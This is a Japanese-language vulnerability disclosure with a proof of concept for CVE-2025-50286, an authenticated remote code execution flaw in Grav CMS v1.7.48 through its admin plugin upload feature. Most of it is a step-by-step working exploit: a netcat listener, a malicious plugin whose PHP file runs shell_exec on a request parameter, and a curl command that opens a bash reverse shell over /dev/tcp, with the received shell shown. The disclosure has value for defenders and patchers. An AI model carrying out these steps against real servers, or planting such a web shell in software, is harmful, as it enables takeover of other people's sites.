Grav CMS v1.7.48 / Admin Plugin v1.10.48 - プラグインアップロードを介した認証済みRCE（CVE-2025-50286）

Grav CMS v1.7.48 および Admin Plugin v1.10.48 は、「Direct Install」プラグインアップロード機能を介した**リモートコード実行（RCE）**に対して脆弱であり、認証済みの管理者がサーバー上で任意のPHPコードを実行できる可能性があります。

CVE ID

CVE-2025-50286

概要

• 種類: 認証済みリモートコード実行（RCE）
• 場所: /admin/tools/direct-install（管理パネル > ツール > Direct Install）
• 影響: 任意のPHPコード実行およびシステム全体の完全な侵害の可能性
• 必要な認証: あり（管理者アクセス）
• 影響を受けるバージョン: Grav CMS v1.7.48 / Admin Plugin v1.10.48

概念実証（PoC）

1. リスナーを準備します：

   root@kitploit:~

   nc -lvnp 4444
   

2. 管理者としてGrav Admin Panelにログインします。

3. Tools > Direct Install に移動します。

4. 次の構造を持つ悪意のあるプラグインZIP（evilplugin.zip）をアップロードします：

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contains: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← minimal blueprint to pass validation
   

5. リバースシェルをトリガーします：

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. リバースシェルを受信します：

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

影響を受けるコンポーネント

• エンドポイント: /admin/tools/direct-install
• 機能: 検証なしのプラグインアップロードおよびオートロード

テスト済み環境

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48（Admin Plugin v1.10.48 を使用）

発見者

@binneko

参考文献

• Grav CMS GitHub
• CVE Record - CVE-2025-50286

免責事項

教育および防御目的のみに使用してください。